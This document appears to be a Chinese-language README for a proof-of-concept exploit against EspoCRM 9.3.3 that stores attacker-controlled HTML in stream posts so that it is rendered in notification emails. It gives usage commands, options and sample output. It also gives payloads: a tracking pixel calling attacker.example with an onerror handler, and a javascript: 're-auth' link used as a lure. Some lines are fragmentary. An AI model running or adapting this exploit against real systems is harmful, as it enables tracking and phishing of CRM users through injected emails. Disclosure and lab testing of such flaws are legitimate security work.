针对 EspoCRM 9.3.3 邮件通知中存储型 HTML 注入的已认证概念验证。
EspoCRM 9.3.3 在渲染流动态通知邮件时,会通过 Markdown 转换动态正文,并将生成的 HTML 使用三重大括号({{{post}}})插入到邮件模板中。能够创建流动态帖子并触发通知的已认证用户,可以存储攻击者控制的 HTML,该 HTML 随后会在生成的邮件正文中被渲染。
该漏洞利用执行了攻击者控制的远程部分流程:
/api/v1/App/user 对版本进行指纹识别。Note。--mention 或 --target-user-id 排队通知目标。当 EspoCRM 正常的 SendEmailNotifications 任务或 cron 处理排队的通知时,邮件即被发送。
requestsNote 记录--mention <username> 用于提及邮件通知,或--target-user-id <id> 用于定向流动态帖子通知安装依赖:
python3 -m pip install requests
推荐的基于提及的路径:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
使用自定义跟踪 URL:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
使用完全自定义的 HTML 载荷:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
针对特定用户 ID 而非提及:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
仅进行指纹识别,不创建动态帖子:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url 基础 EspoCRM URL
-U, --username EspoCRM 用户名
-P, --password EspoCRM 密码
--mention 要提及的用户名,不带 @
--target-user-id 用于定向流动态帖子通知的用户 ID
--target-user-name --target-user-id 的显示名称
--payload 要存储在 Note 中的原始 HTML 载荷
--tracking-url 默认载荷使用的跟踪像素 URL
--link-url 默认载荷使用的链接 URL
--marker 附加到载荷前面的标记文本
--detect-only 仅进行版本指纹识别;不创建 Note
--skip-version-check 在利用前跳过 /api/v1/App/user
--force 即使版本指纹不是 9.3.3 也继续
--insecure 禁用 TLS 证书验证
成功运行会创建一个恶意动态帖子并确认通知目标:
[*] /api/v1/App/user: HTTP 200
[*] 检测到版本:9.3.3
[+] 版本指纹存在漏洞:EspoCRM 9.3.3。
[*] 以 testuser 身份创建恶意 Note
[*] Note 响应:HTTP 200 ...
[+] 漏洞载荷已存储在 Note 动态中。
[+] Note ID:69fddeef8db756271
[+] 解析到的提及:@admin -> 用户 ID 69fdcfb66c34ccb81
[+] API 返回的通知目标列表:69fdcfb66c34ccb81
[+] 完整的远程触发已提交。
在存在漏洞的实例上,生成的 HTML 邮件正文会保留注入的 HTML。实验室捕获结果如下:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
在本地 EspoCRM 实验室中,运行漏洞利用后,触发通知任务:
sudo -u www-data php command.php run-job SendEmailNotifications
生成的邮件正文应在 text/html 部分包含注入的 HTML。
@@version,则目标可能是源码树构建。脚本会继续运行,因为底层代码可能仍是存在漏洞的 9.3.3 标签。--mention 未产生解析的提及,请检查攻击者的 messagePermission 和 mentionPermission,并确认目标用户名存在且能够接收通知。